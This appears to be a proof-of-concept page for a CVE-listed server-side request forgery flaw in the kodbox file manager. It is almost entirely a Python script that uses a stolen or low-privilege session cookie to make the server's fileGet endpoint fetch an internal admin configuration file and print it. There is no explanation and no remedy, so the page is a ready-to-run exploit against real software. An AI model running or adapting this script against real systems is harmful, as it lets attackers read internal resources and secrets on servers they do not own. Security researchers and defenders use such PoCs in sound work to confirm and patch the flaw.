CVE-2026-4589: kalcaddle kodbox SSRF漏洞

import requests # Target configuration target_host = "http://target-kodbox-server.com" # Attacker requires a low-privilege session (PR:L) # Replace with valid session cookie session_cookie = "valid_php_session_id_here" headers = { "Cookie": f"PHPSESSID={session_cookie}", "User-Agent": "SSRF-Test-Case" } # The vulnerability is in the 'fileGet' endpoint via the 'path' parameter # We attempt to access an internal resource (e.g., localhost admin) ssrf_payload = { "path": "http://127.0.0.1/admin/config.php" } url = f"{target_host}/index.php?explorer/editor/fileGet" try: response = requests.post(url, data=ssrf_payload, headers=headers, timeout=10) if response.status_code == 200: print("[!] Potential SSRF triggered!") print("[+] Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[ Error occurred: {e}")